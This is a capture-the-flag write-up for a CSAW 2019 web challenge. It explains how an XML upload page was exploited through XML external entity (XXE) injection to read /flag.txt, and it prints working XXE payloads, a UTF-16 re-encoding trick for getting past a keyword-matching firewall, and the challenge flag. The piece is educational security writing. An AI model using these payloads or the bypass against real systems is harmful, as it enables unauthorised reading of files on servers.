come get me
http://web.chal.csaw.io:1003
This was a web challenge with a few pages. The “User” page displayed some user information:
Name: Alice
Email: [email protected]
Group: CSAW2019
Intro: Alice is coolName: Bob
Email: [email protected]
Group: CSAW2019
Intro: Bob is cool too
The “About” page simply told us, “Flag is located at /flag.txt, come get it”. The most interesting page was “Upload”, where we could view an example users XML file:
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>[email protected]</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name>Bob</name>
<email>[email protected]</email>
<group>CSAW2019</group>
</user>
</users>
More importantly, we could also upload a file of our own, where the information we provided would be sent back to us, formatted analogously to the “User” page.
Doing some searching for vulnerabilities related to XML quickly reveals XML Eternal Entity Processing, or XXE for short. A minimal example of an XXE exploit would look like:
Here we define the entity &yeet;
to transclude the file file:///flag.txt
, so that, in theory, if it’s processed and we get to see the results, we’ll also get the contents of that file. (Note that we omitted all fields other than name
just because, after testing, the “Upload” page still worked with XML with such a structure; had it not, we might have had to add back all the other fields with dummy content.)
Alas, if we attempt to upload this file, we don’t get any output back. Instead, we get a small message at the top of the screen:
WAF blocked uploaded file. Please try again
A “WAF”, it turns out, is a Web Application Firewall, basically something that sits in front of your application filtering out suspicious inputs that look like exploits. After trying a bunch of things, I decided the WAF was very strict but very dumb, simply checking for words like ENTITY and SYSTEM anywhere in the file, without regard for whether they were in a comment or anything. (This is more or less what the posted challenge source reveals.)
So, more Googling led me to this article, “XXE that can bypass WAF protection”. I tried several of the methods. Eventually after an hour or two of fiddling and trying the various strategies, I got the encoding bypass to work, by taking this XML:
<?xml version="1.0" encoding="UTF-16" ?>
<!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag.txt">]>
<users><user><name>&yeet;</name></user></users>
and converting it to UTF-16, exactly as described on that page:
$ iconv -f utf-8 -t utf-16be < xxe.xml > xxe-utf-16.xml
Uploading xxe-utf-16.xml
produces interesting output.
Name: AAAAAAAAAAAAAAAAAAAA
That doesn’t looks like something we entered, so it seems that our injection worked, but it doesn’t look like a flag either. More experimenting reveals that, unfortunately, when the name or any of the other visible fields in the sample XML are echoed back to us, they are truncated to a fixed length. So maybe the flag is later in /flag.txt
, so it’s being hidden by the truncation? How can we work around this?
All that remains is a little bit of lateral thinking. If you compare the Users page and the sample XML more carefully, you’ll see that one field on the Users page is unaccounted for:
Intro: Alice is cool
Maybe, just maybe, this corresponds to an <intro>
tag? Let’s try it:
<?xml version="1.0" encoding="UTF-16" ?>
<!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag.txt">]>
<users><user><intro>&yeet;</intro></user></users>
Converting to UTF-16 as before and uploading, we see:
There’s our flag, amidst all the other screaming A’s:
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}